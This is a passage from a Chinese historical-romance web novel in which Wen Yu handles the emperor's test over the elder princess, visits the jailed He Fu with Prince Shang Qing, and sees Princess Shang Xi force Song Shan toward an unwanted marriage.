葛巾笑一声:“见我做什么?我从来就没打算和你们站在一起。”
“可我把你当朋友啊!”温余送开葛巾的手站起身来,转身从博古架上抱来一个盒子,打开,里面正是那根从红叶观求来的红绳。
她不顾葛巾的阻止帮她带上,道:“你可不许摘下来,至少不要在我面前摘下来。”
葛巾收回摘红绳的手,她不是很习惯别人对她这般好,这总是让她觉得担心,毕竟天下没有不散的筵席。一件事一段感情只要开始就一定会有结束的那天,与其任由感情越陷越深倒不如从一开始就隔绝掉这种可能。
“好吧,我走了再摘。”
温余坐下,“好吧好吧,送你了就随你便。对了,你既然都要走了,那能不能回答我几个问题啊?”
“什么问题?”葛巾有预感,一定是关于贺扶的。
果然,温余问:“歌阳侯府和首辅大人有联系吗?”
葛巾顿了顿,“没有,而且,圣阳的死与首辅大人没关系。”
“啊?!”温余愣住了,难道不是章执借此机会污蔑贺扶,两刀齐下,想翻身都没有机会了。可现在葛巾又说,圣阳的死与章执无关?
看着葛巾决然离去的背影,温余站在原地许久都没有动弹。
这件事和首辅无关,那就是说还有人在背后想要害贺扶?
还会有谁呢?
温余不禁扶额,这贺大人什么时候得罪了这么多人?
“对了。”
葛巾的身影本消失在了墙角,但很快她又折返了回来。
“怎么了?”温余放下扶着额头的手。
“你方才问的歌阳侯府……”葛巾顿了顿,“你要小心安乐郡主,她没有表面那么简单。”
说罢,葛巾才再次离去,只是这一次没有再回来。
这次一别不知道要什么时候才能再见了,再见的时候会是什么样,完全难以预料。
不过,小心安乐郡主……
温余摸了摸下巴,为什么要小心安乐郡主呢?
想到宋衫,温余忽得想起之前答应羌白的事情,如今得到了那画师的下落也该去告诉他了。
可她还没有走几步,便有一位宫人前来禀报,说圣上召她前去御书房。
温余心中顿时警铃大作,处理完了葛巾,下一个就该是她了。
站在御书房门前时,温余轻轻出了口气,让自己不是那么紧张,却还是在看到皇帝的那一刻心跳加速。
果然,天子就是天子,不怒自威,只是坐在堂上就让人觉得两股颤颤。
温余给他行了礼,便听他道:“今日的事情,你可听清楚了?”
“今日……下官从未听到过什么,还请陛下明示。”温余闭了闭眼,事到如今只能赌一把了。
“没听到什么?可你和长公主一同前去赌场,赌场的主人还在你们前去之时身亡,你说你没听到过什么……”皇帝眯起眼,只听声音温余便觉得十分危险。
温余眼一闭,心一横,“陛下果真神通广大,今日之事下官确实没听到什么,只知晓那主人惹怒了长公主,所以才被赐死,只当此事除长公主与下官外无人知晓,竟没有想到还惊扰了陛下,着实是罪过。”
堂上的皇帝不说话了,温余的心仿佛下一瞬就能跳出胸膛来。周遭静得仿佛落下一根针都振聋发聩。
温余大气不敢喘,只能静静等待皇帝的最后通牒。
许久后,堂上忽得发出一声轻笑。
温余轻轻抬眼,只见皇帝好整以暇地看着自己。
“原来如此啊。”皇帝道,“阿姐这事情做得确实有些胡来了,随意害人性命,着实令朕忧心呐!既如此,那便按照我朝律法,罚她去国安寺清修三年吧。”
说罢,他看向温余:“你待如何?”
“下官认为……此罚不好。”
皇帝的脸色变得莫测起来,“怎么不好?你倒是说说朕该怎么罚?”
温余吞了吞口水,头埋得更低了些,“下官认为长公主此举有误,但也不至于到如此程度。况且长公主身份高贵,此事也并无几人知晓,若是陛下要因此重罚怕是会让更多人知晓,所以下官认为陛下可以从轻处置。”
“那,你觉得朕该如何处置?”皇帝又问。
“下官认为可将长公主禁足与长阳殿半月,如此无人知晓,也能让长公主休息些时日。”
温余说完,四周又归于沉寂。
不知她这话说对了没有,皇帝看向陈总管:“你待如何?”
“全凭陛下做主。”陈总管恭敬道。
“哈哈哈哈哈哈……”皇帝笑着摇摇头,“好啊,是个聪明人,那就按照你说的办吧。”
“行了,如此这件事有了结果,你便下去吧。”
听皇帝遣温余下去,温余这才松了口气,走出御书房后她只觉得双腿发软仿佛下一瞬就会倒下去一样。
她深吸一口气,夜中的冷风呛人,但却让她放松了些。
这里头的气氛有些太吓人了……
皇帝叫她过来就是要看她对此事的态度,是要宁死不屈还是当变则变,由此再考虑对自己的处置。
她若是认同了皇帝对长公主的惩罚那就证明了她是一个为了自己安全能将她人推入火炕的人,这般狠心之人可用,但不能用得长久,早晚都要除掉的,可她却偏偏抵着威压帮长公主谋了一条更好的路,虽说冒着忤逆的危险但至少能让皇帝看出她是有些情义在身上的,故而不会对她太过设防。
不过这又有什么用呢?君要臣死臣不得不死,如今表明自己的立场也许能保一时平安,可再往远看,若真的太过懂得变通最后还是要被除掉的。
温余走了几步后在台阶处坐下,周围没有一个宫
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人。
这宫中之事真是太难了,每一步都是险棋啊!
太无情了,太无情了……
温余摇了几回头后站起身来拍拍衣摆上的土。
她心道:算了,还是先去找羌白吧。
凭着记忆,温余来到了供外族使臣居住的院子,一进门就看到了羌白,他正坐在院中低着头不知道在捣鼓些什么。
“羌白……?”温余轻轻唤了一声。
羌白抬起头来,“诶,又是你?你又看月亮?”
“不是不是,这次我是来告诉你一个消息的。”温余摆摆手,“我知道你朋友的下落了。”
“你说!”羌白看着温余,一双葡萄般漆黑的眸子亮亮的,让温余有些不忍心。
“他已经去世了。”
出乎意外,羌白听到这个消息并没有悲伤,而是将手中的东西放下,闭上眼不知道念了些什么咒语之类。
“你在念什么?”温余见他睁开眼,出声问道。
“超度,之前在且末做了大半,这次接着念。”羌白又拿起了那东西。
“你不难过?”温余有些奇怪。
“为什么要难过?”羌白抬眼,一双圆眸中带着疑惑。
“他去世了。”
羌白点点头,“对,他去了另一个世界,极乐世界,结束了这一生的痛苦,去到了下一个地方。”
“这是你们那里的说法?”温余坐在羌白对面,看着他捣鼓手里那似马似驴的东西。
“我们那里说人要经过很多门,出生是一道门,死亡又是一道门,走进了门会进入一个世界,走出了门会去往另一个世界,反反复复,每个人都会经历,没有什么好伤心的。”
“原来是这样啊,像是我们说的轮回一样。”温余恍然大悟。
“轮回?”羌白停下动作想了想,“很好。”
“对了,你在做什么?”温余看着他的动作,笨拙又着急。
他将那已经被拆的七零八落的东西递到温余面前,“这个,坏了。修不好。”
“这是什么?”温余接过那些残骸。
“马,木头马。”羌白解释道。
“哦,那我帮帮你?”温余笑道。
羌白欣喜道:“谢谢你。”
“小事小事,这马是你买的吗?”温余一边帮他修这木马,一边和他聊着天。
“是宋衫送我的,她说我喜欢马。”
“宋衫?那怎么会坏掉了?”
“没拿住,摔了。”
……
两人就这么有一搭没一搭地聊着天,不过半个时辰温余就将那木马修好递给他了。
他带着笑:“谢谢你。”
“不必客气,既如此那我就先走了。”
温余同他告别后就往坤宁宫走,半路却遇上了一个人。
那人抱臂站在月下,虽然看不清脸但还是能感觉到他在直勾勾盯着自己。
“尚卿?”温余疑惑道。
“你似乎是以我嘉亲王妃的身份在宫中走动吧?怎么私自夜会其他男人?”尚卿的语气冷冷的,似乎有些不爽。
86. 决裂(一)
“你怎么过来了?”温余看着尚卿一步一步向自己走来。
“我之前不是说我过些日子就会过来了吗?”尚卿停在温余三步外,静静地看着她。
温余也回望着他,“我这些天遇到了很多事情。”
尚卿淡淡道:“我都知道。那你还要救贺扶吗?”
以尚卿的能力,知道这些也不奇怪,听他这么问,温余点头:“救,无论如何我都要救。”
尚卿勾唇笑了一声,神色晦暗不明。几次呼吸之后,他才道:“好吧,看来这次的下马威还不够啊。”
“你知道?”温余带了戒备,他说这话的意思是,这些日子发生的事情都在他的计划之内?
尚卿挑眉:“当然,葛巾那日偷偷给你送信,我发现了。长公主的旧事,也差不多该有个结果了,很巧,很幸运。”
“但不幸的是我没有被吓到,还要继续做你认为螳臂当车的事情?”温余笑道。
尚卿无奈的摊手,“对啊,很不幸。”
不远处的灯光熄灭,打更的邦邦声响起,三声过后,尚卿转了身,“行了,很晚了,回去吧。”
温余看着他看起来很是洒脱的背影,欲言又止。
见温余半晌没有跟上,尚卿回头问:“怎么不走?有什么想说的?”
温余张了张口,半晌才道:“我能不能去看看贺扶?”
“他可是重犯。”尚卿看不出有什么表情,声音也淡淡的。
“我知道,但我很久都没有见过他了,我真的很想见他。”
尚卿盯着温余看了很久,最后还是败下阵来,“算了,拦着你不让你见贺扶也不是个什么好法子,我得让你认输的心服口服。”
“你为什么一定要让我喜欢你?你也不是很喜欢我吧?”温余看得出来,尚卿对她完全就是一种小孩子对待玩具的模样。
她虽然对自己有信心但也没自信到这个程度,所以她真的很好奇,就为了证明自己比贺扶要强,就要搭上自己的终身大事?
“不是你喜欢我,而是要你比喜欢贺扶更喜欢我。”尚卿说得随意。
“这么比,真的有意义吗?”温余和尚卿离了一些距离,一边往坤宁宫走一边与他聊天。
尚卿也抱臂走着,“有啊,你不懂,就是要比,比过所有人。你为什么喜欢贺扶?”
温余顿了一下,“喜欢不需要理由的,是一种和特殊的感觉,说不清道不明。”
“那是什么感觉?”尚卿似乎很是疑惑。
“说不出来,就是想这一辈子都和他待在一起,永远也不会觉得腻。那要是你和我待在一起一辈子,你会腻吗?”温余道。
尚卿想了想后点头:“绝对会。”
“所以你不喜欢我。”温余继续道,“所以你不应该强迫我的感情。你借了我身份我很感激,我会把你当很好的朋友的。”
“我不!”尚卿盯着温余,“我要你喜欢我和我喜不喜欢你没有关系,你只需要按我说的做就好。”
温余噎了一下,尚卿那表情仿佛是和长辈斗气的孩童一般,着实让她哑口无言。
“明日未时你来御花园找我,我带你去看贺扶。”
说罢,尚卿转了个弯不知要去哪里,温余无奈的叹了口气后继续往坤宁宫走。
……
翌日,温余一早便待在皇后身边陪着她温书习礼。
等早课结束,尚熙才提着裙摆飞奔过来,扑进皇后的怀中抽泣。
“怎么啦?怎么哭了?何人欺负你了?”皇后慈爱地顺着她的背,满眼都是对掌上明珠的担忧。
尚熙又抽了几下后,抬眼看向温余,温余也立刻明白,拱手道:“早课结束,我便先告辞了。”
皇后正要摆手让温余退下,尚熙却忽然改了主意,“等等,先别走。”
温余站定,尚熙从皇后怀中爬出来气鼓鼓地看着温余,“是不是你?”
这没头没脑的一问,温余有些懵,“什么我?”
尚熙扁起嘴来,“是不是你在衫儿面前说了我的坏话?她如今都不理我了!”
“我没有啊,六公主同安乐郡主吵架了?”
皇后也在一旁劝道,“莫不是你二人有了什么误会?吾看阿余应当不是那样的人。”
尚熙委委屈屈地看向自己的母后,软声道:“母后!不知为何衫儿自今日一早起便没有来找我,之前的日子她都是一大早就来我殿里寻我的,她今日都没有来!”
“会不会是安乐郡主有要事绊住了?”温余猜测道。
“不会!”尚熙哼一声,“有什么事情比我还要重要?什么事情都比不过我的!”
皇后轻轻将她揽进怀里,安抚道:“是是是,没有什么是比我们熙儿还重要的。既然安乐郡主惹我们熙儿伤心了,那我们罚她?可好?”
“好!罚她!”尚熙整张脸都埋在皇后胸口,声音闷闷的,“那我们要怎么罚她?”
“罚她待在熙儿身边,不许离开如何?”皇后惯是懂得尚熙的心思的,这一句话简直是说到了她心坎上,尚熙立刻喜笑颜开,“好,那去派他们传话,我要衫儿和我住在一起!”
“好好好。”
皇后挥挥手对温余说:“你去传话,说从今往后安乐郡主就跟在六公主身边,一步不得擅离。”
温余觉得这简直荒唐,怎么能因为一次没有相见就这般将人拴在身边?但皇后明显不愿意听些反对的言论。只是抱着尚熙不停安慰嘘寒问暖。
众人皆到六公主受宠,果真如此。
简直是……恃宠而骄。
温余离开坤宁宫去寻宋衫,却听宫人说宋衫一早便外出了,问了一圈儿竟没有人知道她去了哪里。
不知为何,温余生出个念头来:宋衫或许是和羌白在一起。
她早就觉得宋衫对羌白有些殷勤过头了,本以为是芳心暗许可温余却从未从她眼中看到任何对羌白的爱慕之情,再加上昨日葛巾临走前所说羌白是且末四大族之一。
她若是想得恶毒一些,宋衫接近羌白怕是另有目的,葛巾也说宋衫没有她表面上看起来那般简单。
想着,温余已经走到了羌白的院子外。
只站在门口,温余便能看到院内的羌白和宋衫相对而坐。
两人似乎聊得很愉快。
温余只好站在原地等着,她也不想去参与宋衫的谋划,只要不会害人那便都与她无关。
顶多也只是图一个富贵权势,应当也不会到谋财害命的地步。
等两人聊完天宋衫起身向外走就已经有半个时辰了,温余已经从站着变成了坐
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在台阶上,一只手撑着头昏昏欲睡。
“温姑娘?”宋衫俯下身看她,她才惊醒。
“安乐郡主。”
羌白遮着眼睛看了看太阳,疑惑道:“你在赏月吗?可现在没有月亮。”
温余站起身来,笑道:“没有没有,只是在等安乐郡主。”
“等我?”宋衫有些诧异,但很快便领悟,三言两语便打发走了在一旁好奇的羌白。
“温姑娘等我有何事?”宋衫带着温余往回走。
温余整理了一下措辞,“六公主因为你今早没有去寻她似乎有些吃味,所以叫我唤你去陪她。”
“陪她?”宋衫眉头紧了紧。
温余点点头,“对,听她的意思似乎是要罚你,说让你多陪她一会儿,果真是孩子心性。”
温余玩笑似的说出来,宋衫的脸色却黑了几分,她张张嘴似乎说了些什么,但温余问时却摇头道:“没什么,我这就去坤宁宫,劳烦温姑娘传话了。”
温余笑着和宋衫告别,接下来她就要去找尚卿了。
宋衫走后,温余脸上的笑收了起来,她刚刚其实听到了宋衫嘟囔的那句话,只是那话说得太过冲撞尚熙,她只能佯装没有听清罢了。
看来,宋衫果真不是表明那般和善的。
……
落日西沉,温余站在与尚卿约定的地方等了许久,直到约定时间后一刻钟他才姗姗来迟。
“你还真是满心期待,稍后见了他你可别哭了呀!”尚卿穿了一身红,仿佛要去看什么喜庆的盛宴一般。
“不会的,我们快走吧。”温余急着进去见贺扶,快步往刑部大牢走。
尚卿亦步亦趋地跟在她身后,散步一般很是悠闲。
由于有尚卿开路,刑部大牢温余进得格外顺畅。
贺扶被关在最里面的一间牢房,温余弯弯绕绕从很多间牢房面前走过,其中要么凶神恶煞横眉相对,要么满身血迹阴郁非常。
血腥气几乎要占满她的整个鼻腔,皮鞭破空和嘶哑的吼叫也不绝于耳,这地方暗无天日,仿佛是建在人间的地狱,无论是被关着的还是拷打犯人的狱卒都好似是从阎罗地狱走出来的恶鬼恶吏。
只要身处其中便让人觉得压抑难捱。
温余深吸一口气甚至不敢想贺扶被关在这样的地方每日过得会是什么样的生活。
她放快了步子,不自觉将闲庭信步仿佛在参观名胜古迹的尚卿甩了老远。
狱卒将她带到一间牢房前,只见唯一的一扇小窗缝隙中透出日光来,半空中漂浮的尘埃也清晰可见。
它们缓慢的浮动着,在这些尘埃之后是倚墙坐着的贺扶。
他双目微阖,同之前处理事务劳累后在玉茗堂小憩一般,但如今的他却是一身染血的素衣,身形也是削瘦得可怕,透过随意张开的领口,锁骨清晰可见。
温余只看了一眼,便很快移开了视线。她有些不敢看了,贺扶何时这般狼狈过?
她双唇微启,想要叫贺扶一声,可是声音却像是在那一瞬间消失了,只是张着嘴说不出一句话,发不出一个声调。
似乎是感受到了不一样的气息,倚靠在墙边小憩的贺扶缓缓睁开了眼,他声音有些沙哑,同温余说话时还是努力带上笑意,让自己不那么疲惫,“阿蓁?”
87. 决裂(二)
听到贺扶的声音,温余细不可查地轻轻颤了一下。她立刻整理好心情转过头去看向贺扶,“贺大人……”
贺扶对她轻轻笑了一下,但却扯到了脸上的伤口,让他的呼吸一滞。
温余蹲下身握住栏杆,“贺大人,你……”
她停住了,她该问什么?这些日子可还好?显而易见的,他绝对过得不好,那她该说什么?她会救他出去?可无论是线索还是什么她都没有找到,还能怎么样?
贺扶好似看出了她的难言,强撑着挪到温余面前,对她笑道:“别难过啊,我还要等着你来救呢!”
不说还好,贺扶这么一说温余鼻头便酸了起来,“嗯,我会救你出来的。还有,你的腿这么了?他们打你了?”
贺扶下意识地看了一眼自己的右腿,轻声道:“没事的,牢狱之中怎么会不受伤呢?倒是你,许是很久没有好好吃饭了吧?都瘦了。”
“还说我,你也不看看自己什么样……”
没想到温余会这么说,贺扶明显愣了一下,随后,他笑道:“看来这些日子不见阿蓁倒是变得愈发牙尖嘴利了。不过也好,这样就不会被旁人欺负了。
“谁敢欺负我呀!”温余道,“还有你的腿,究竟怎么回事?伤了还是断了?”
“受了些伤,不打紧的。”
“真的?”温余还是很担心,贺扶惯是会佯装无事的。
“好了好了,不要说这些了,这些日子你可有寻到什么线索?”贺扶转移话题道。
“只知道歌阳侯府或许与背后之人有勾结,你可知歌阳侯府有什么异常之处吗?或者说,你对他们有什么了解?”温余轻声道,“葛巾说安乐郡主其人不简单。”
“歌阳侯?”贺扶喃喃几声后道,“歌阳侯府算是所有侯府世家中最为底层的一家,很长一段时间都是待在自己的属地之中,很难来到京城,但自从前些年安乐郡主在马场上救下六公主后便逐渐得了重视,只要宫中有宴之类都会让他们前来。”
“所以,歌阳侯府上行大多是因为六公主?”温余道。
贺扶点了点头,“可以这么说,不过那位安乐郡主也是别有胜名。”
“这么说?”贺扶这话说得模棱两可,这“胜名”是好是坏,温余竟从他语气中听不出来。
“秋猎时的马可是万里挑一的良马,怎么会忽然暴起伤人?而且她又恰好路过,能将六公主救下……这件事一直有人怀疑,但并未多说。”
“你的意思是,安乐郡主布局得了六公主青睐,以谋得家族荣耀?”温余没有过多惊讶,凭借宋衫对羌白刻意的殷勤也能看出她的目的,更别说她看向尚熙眼神甚至没有羌白热切。
“确实有这个可能。”
温余又忽得想到:“那会不会是歌阳侯府为了爬上更高位铤而走险,和背后之人勾结?”
贺扶沉默了。
“对了,除过首辅大人,您可还有什么仇家之类?”温余想起葛巾临走前说的话,虽然觉得奇怪但还是下意识的想去相信她。
“仇家?”贺扶忽得勾唇笑了一声,“我之前认为我没有什么仇家的,秉公执法,诚心待人。原来在很多人眼中也是一种错。”
“贺大人……”温余眸色沉了下来。
贺扶很快收起了情绪,转而问道:“对了,启蛰呢?他是不是着急坏了?你回去告诉他我一切都好,让他照顾好自己。”
“我说过了,让他安心在外头等着,我会帮您翻案的!”温余道。
“那就好,对了……你在宫中行走可会不方便?”
“……”温余顿了顿,“我借了嘉亲王身边的一个身份。”
“身份?什么女官还是……”
贺扶话未说完,便见尚卿从暗处走了出来,他站在温余身后,伸出一只手来搭在她的肩上,微微俯身,动作很是亲昵。
他笑:“自然是我嘉亲王妃的身份了,可惜师兄你在狱中,否则过些日子你就可以来我府上吃喜酒了。”
贺扶的双眸忽得放大。
“是为了……”
尚卿忽得将温余往身后一拎,打断了她的话,他看向贺扶的眼中带着胜利者的自满,“不过也不碍事,等你死之后我可以亲自在你坟前请你喝一杯。”
“你不必气我。”贺扶淡淡道。
“谁在气你?”尚卿俨然一副要和贺扶斗到底的气势。
“贺大人我……”
“你先闭嘴,我带你过来不是让你帮着他说话的。”尚卿几乎是钳着温余的手腕。
“该说的都说完了,我们也该走了,师兄你就在这里好好待着吧。”
“好好”两个字尚卿咬得极重,仿佛要将它们嚼碎一般。
温余还没来得及和贺扶告别便被尚卿生拉硬拽着出了门。
贺扶坐在牢中,看着两人拉拉扯扯离去的身影,神色有些复杂。
他当然知道温余是为了查案才会这般,只是有些遗憾告别的太过匆忙没有将礼物给送出去。
他拿出怀中的玉簪轻轻摩擦了几下,最后只余得一声叹息。
“喂,老贺兄弟,你媳妇儿跟人跑了啊?”隔壁躺着的带着络腮胡的汉子逗蛐蛐儿似的嘘了几声。
贺扶看向他,摇头解释:“她不是我夫人。”
“不是你媳妇儿?嘿,奇了,看你们刚刚你侬我侬的样儿,竟然不是媳妇儿?”汉子往贺扶这边蹭了蹭,“我看那姑娘还挺水的,怎么,你舍得让那小子带走?还是个王爷……”
“要我是你啊,我就骂死他,从他祖宗到老爹,骂的他狗血喷头!”
“他是我师弟,并非是恶人。虽说话有些冲,但也愿意帮我。”贺扶将玉簪收起,动作小心翼翼的,生怕被磕碰出什么瑕疵来。
“兄弟?”汉子嗤笑一声,“老子就是因为兄弟被搞进来的,什么兄弟两肋插刀,结果我那老弟把老子搞进牢来还和老子的媳妇儿搞一起了。兄弟是最信不过的人!”
汉子自顾自说着自己被兄弟背后捅刀的悲惨经历,贺扶也安安静静听着。
“要我说,这世上出了我们自己没一个能信得过的!人啊,就得恨一点,什么阴谋阳谋,能活着被骂好过死了坟头草三丈不是?”
汉子啧啧两声,贺扶轻轻垂下眼。
许久,他才发出一声轻笑,“是啊。”
……
温余被尚卿一路拽出了刑部。
“你……弄疼我了。”
尚卿
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回头,“不疼一点你怎么会知道你现在依靠的是谁。”
“我当然知道,只是……”温余站定,尚卿也缓缓放开了手,“我还没和他告别呢。”
尚卿轻轻笑了一声,隔了好久才对温余道:“行了,见过了就走吧。”
温余轻轻点头,跟着尚卿回到了坤宁宫。
坤宁宫内,皇后提前给尚卿备了小宴,温余也跟着沾光。
“尚熙呢?那丫头不是最爱这些东西吗?”尚卿入座后环顾四周没有见到尚熙便问。
皇后笑道:“她今早刚刚和安乐闹了别扭,许是在两个人在哪里说小话吧,倒是你,舅母许久未见,真是思念你得很!”
“那便多谢舅母挂念了。”尚卿端起酒杯向皇后举了举,此刻倒像是一位听话的后辈。
“谢什么谢,都是一家人。”皇后又笑着看向温余,“还有这侄媳,吾也是喜欢得紧,若是日后能一直伴在吾的身边便好了。”
“当然会多伴您。”尚卿也笑。
两人又寒暄了差不多一盏茶的时间,尚熙才提着裙摆带着宋衫走了进来。
“母后,堂兄。”她眉眼弯弯,看来是已经和宋衫和好了。
宋衫也微微福身。
“许久不见倒是愈发没有规矩了。”尚卿笑道。
尚熙哼了一声,“我要什么规矩?就算没有规矩又能怎样?”
“好,你是最为尊贵的公主,不需要规矩。”尚卿也无奈附和。
“她也在?”尚熙和尚卿说了几句后看向温余。
“她当然在了,她是你日后的堂嫂,自然是经常能见到的,日日见面也说不准呢。”皇后招手让尚熙上去,尚熙也乖乖依偎在母后身上。
她眼珠转了几转,道:“那衫儿能不能做我的堂嫂?”
“……”
此话一出,在场众人皆震惊了一瞬。
皇后轻咳一声后道:“莫要胡闹,你莫不是让你堂嫂弃了夫君?”
“可我更想要衫儿带着坤宁宫嘛!”尚熙扁扁嘴,后又灵光一闪,“让衫儿做妾也可以啊!只要能陪在我身边就好。”
铛的一声,温余和尚卿的目光都投向了宋衫。
银筷掉落在地,直到滚动到堂中央才停下。
“衫儿也想陪着我是不是?那让堂兄一并娶了她就是了!”尚熙没看出宋衫面上的不对劲,继续说着。
她觉得自己这想法简直是天衣无缝,于是看向尚卿:“堂兄你觉得呢?”
尚卿一副看好戏的样子,笑道:“熙儿随意,我都行。”
“那就这么决定了!”尚熙拍手叫好。
宋衫将筷子放回桌上后起身行礼,“安乐身体不适,先行告退。”
说罢,她转身便离开了,尚熙想要叫住她,她却好似没听到一般一次头都没有回。
“你瞧,把人家逗弄生气了。”皇后依旧宠溺地看着尚熙。
温余见此站起身,道:“我去看看安乐郡主,各位慢用。”
见温余离开,尚熙更生气了,本要发作却听尚卿道:“让她去吧。你不是说要我纳安乐为妾吗?妻妾和谐我才会更放心啊。”
尚熙转念一想也是,便不情不愿地点了点头。
88. 决裂(三)
温余追着宋衫出了殿,见她在殿外石栏边停下,望着远处宫墙间的点点灯火。她素手捏起,深呼吸好几次仿佛在极力忍耐些什么。
“宋姑娘。”温余走上前去,站在宋衫身边。
宋衫的神色变回寻常模样,她轻声道:“温姑娘放心,我不会同意六公主的话的。”
见她认为自己吃味,温余解释道:“六公主许是在说笑,她年纪小,最为依赖喜爱你,想让你陪在她身边也可以理解。”
宋衫苦笑一声,“可我不想和她待在一起。”
温余没想到她会这般直接的说出来,一时有些无措。
又听她继续道:“她从来都不在乎别人的感受,什么都是以她自己的意愿为主。你方才说她许是玩笑话,最好是这样。”
“诶!”温余忽得在不远处看到一个熟悉的影子,那黑影正蹲在花坛中对着泥土不知在干什么,“那不是羌白吗?”
宋衫盯着那影子看了看,转身走下台阶来到花坛前,见花坛内泥土潮湿便没有踏进去,只是停在外面,道:“小公子你在这里做什么?”
羌白闻言回头,脸上还有不知何时染上的泥土,此刻抬起头又觉得有汗水自额上滑下,便下意识地伸手去擦。
“别,你手上有土。”
羌白的手停在半空,转而那臂弯处的衣袖擦了擦脸,但只是将那些结块的泥土抹匀在脸上,显得更可怜了。
他站起身,两人才看到他怀里抱着一个小木头罐子。
——他在挖土?
“你挖土做什么?”宋衫疑惑道。
羌白来到了两人面前,对着宋衫递上了罐子,“这是回礼。”
“回礼?一罐土?”温余嘴角抽了抽。
羌白摇头,“不是土,是虫子。”
宋衫本想伸手接过的手放了下来,脸上的笑容也僵了一瞬,“这便不必了。”
“你不喜欢虫子吗?”羌白似乎很疑惑,后又急忙解释道,“这虫子是我们且末那边特有的,平常会吃花瓣之类,喜欢湿润的泥土,很好看的,我拿出来给你看看。”
见他伸手就要翻土,宋衫急忙拦住,“不必了,我收下就是。”
宋衫接过罐子,羌白补充道:“这虫子好好养,来年春天会长小翅膀!”
“是吗?那我便等着了。”
羌白挠挠头,似乎有些不好意思,“其实我们且末那边……”
话没说完,他便感到脸颊上有些柔软的触感,抬眼一看便见宋衫拿着帕子为他擦着脸上的泥土。本来要说的话就这么被他给忘了,只知道呆呆地盯着宋衫看。
温余站在一边怀里抱着宋衫让帮忙拿着的罐子,在两人脸上看了一圈儿。
她啧一声,低头去逗弄已经从泥土里挣扎着爬出来的小虫子。
……
从那日之后,温余一连好几天都没有见到宋衫,甚至连时常来皇后身边撒娇的尚熙也没有见过几次。
平淡的日子过了几天,温余竟生出自己真要在这宫中生活许久的感觉来。
天气渐渐转凉,一场秋雨后更是让坤宁宫的人都换上了厚衣裳。皇后命人给温余制了衣裳,还顺便将冬衣也制好送了过来。
温余今日换上了那件鹅黄的衣裳,正准备去向皇后请安上早课却在半路听闻有人叫喊。
她寻声过去,只见宋衫和尚熙站在一起,尚熙眼眶红红,对面的宋衫却侧目没有去看她。
“这是……怎么了?”温余随便抓住一个宫人问道。
宫人满脸担忧,道:“安乐郡主刚才和六公主大吵了一架。皇后娘娘外出不在宫中,若是让她知道了我们都得受罚。”
“你们没人上去劝一劝吗?”温余道。
宫人叹着气摇头:“六公主不许我们过去。”
“那她们为何吵架?”温余问。
宫人似乎有些难以启齿,良久才道:“昨夜六公主去求了陛下,给宋姑娘赐婚。”
“赐婚?!”温余只当她那日是在玩笑,没想到她真的去求了皇帝,“和谁赐婚?不会是嘉亲王吧?”
温余只觉得眉间突突地跳,那宫人叹了口气,“若是嘉亲王还好呢!如今能够常来坤宁宫的皇嗣少之又少,唯一一个嘉亲王还拒绝了。六公主想让安乐郡主常待在坤宁宫那就只有……”
“只有谁?”
宫人张了张嘴,“皇后娘娘身边的……祝公公。”
“什么?!”温余感觉心脏一跳,那祝公公她虽然未曾见过几面但却记得清楚,容貌倒是无差,若是细细打扮说不准还能当做一个美男子来看,可是……他是太监啊!
一个侯爷的女儿,嫁给一个太监?不是她疯了就是尚熙疯了!
“那陛下同意了?”
宫人缓缓地点了点头,“您知道的,陛下最为疼爱六公主了,就算是天上的太阳他也愿意摘下来给六公主玩乐。更何况……”
歌阳侯本就势弱,女儿嫁给谁,又有什么人会在意呢?
温余耳边起了一阵轰鸣,她不顾宫人的阻拦走上前去。
尚熙还在不断抽噎着,“我只是想让你陪着我,你若是不喜欢他那我们再找个其他人……”
“陪着你?我必须得围着你转吗?吃饭睡觉,只要你叫我我就必须得过去,衣裳要你喜欢的,什么都要按照你的心意来?现在成亲也得让你选吗?”
宋衫似是气急了,声音都大了起来,双眼通红盯着尚熙。
尚熙从未被别人这般吼叫过,哭得更大声了,“可你不是我的朋友吗?”
“朋友?”宋衫胸膛起伏着,“你是把我当做朋友吗?不是一个玩物?”
“我就想要你陪着我啊!”尚熙吸了吸鼻子,宋衫没有再理会她的无理取闹,转身决绝地离去。
而尚熙瞥见温余过来劝架愣了一下后直接伸手给了温余一巴掌。
温余被打懵了,半张着嘴,发出一声:“啊?”
“都怪她!”尚熙鼻尖红红,指着温余的手都有些颤抖。
“怪我?”温余指了指自己,语气有些不善。
饶是脾气再好的人都不能被莫名其妙甩一巴掌还笑脸相迎吧?
“你不许和堂兄成亲,我要你们退婚!”尚熙尖声细气道,“若
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不是你和堂兄成亲,堂兄就不会拒绝我!衫儿就不会和我生气了!”
“这和我有什么关系?你就是让宋衫嫁给尚卿她也不会同意的。”温余锁眉道。
“可是……”尚熙似乎也这样觉得,但还是气道,“那要怎么办吗?我……”
“你可知宋衫再怎么样都是侯府的小姐,就算是回到属地结亲也能有数位才俊上门,更别说她作为名门闺秀颇具美名了。你却把她许给一个太监?未免太过荒唐了!”
“怎么荒唐了?那祝公公人不也挺好的吗?他还会给我带吃的呢!我很喜欢他的!”
“你喜欢别人就一定要喜欢吗?”温余觉得这尚熙简直被宠坏了。
尚熙脖子一横,“当然,衫儿是我的朋友,我喜欢什么,她就得喜欢什么。”
“她是一个人,一个独立的人。你这般不顾她的意愿行事,她怎么会不生气?”
温余试图和尚熙讲道理,但她却完全听不进去,满脑子都是宋衫忤逆了自己,越想越气,最后直接转身想要离开。
“等等。”温余抓住了她的胳膊将她拉回来。
“做什么?”尚熙没好气道。
“道歉。”温余正色道。
“为什么要道歉?”尚熙觉得奇怪。
“你方才打了我一巴掌。”
“一巴掌而已,我凭什么要道歉?她们这些人受的可不止一巴掌。”尚熙甩着温余的手想要挣脱。
温余将她拉得进了些,“我没对你做什么,你莫名其妙打我,不该道歉吗?”
“你……”尚熙觉得荒唐之极,她从小在宫中哪一个不是求着她顺着她?今日倒好,先是宋衫和她吵架,又是温余拉着她要道歉,简直是闻所未闻。
“我就不道歉,我凭什么道歉?我还说我打你我手疼呢!你有本事去告诉我父皇母后啊!”
尚熙用力甩开温余的手,转身要走却被一位黑衣男人拦下。
看到面前面无表情的男人,她一改方才的嚣张,变得怯怯起来。
“章执……?”
见章执过来,温余谨慎起来。
他来这里做什么?
章执淡淡地看了尚熙一眼,“见过六公主。”
嘴里说着问安的话,可这神色可半点没有恭敬的意思。
尚熙似乎很是害怕这冷着脸的男人,随意点了点头便快步离开了。
温余与章执相视,“首辅大人来此作甚?散步?”
章执负手站着,冷声道:“你去找贺扶了?”
温余心下一惊,他知道了?
“是,前主事去探望一下又如何?我可不似那些不顾情义的人一般。”温余身侧的手渐渐握成拳。
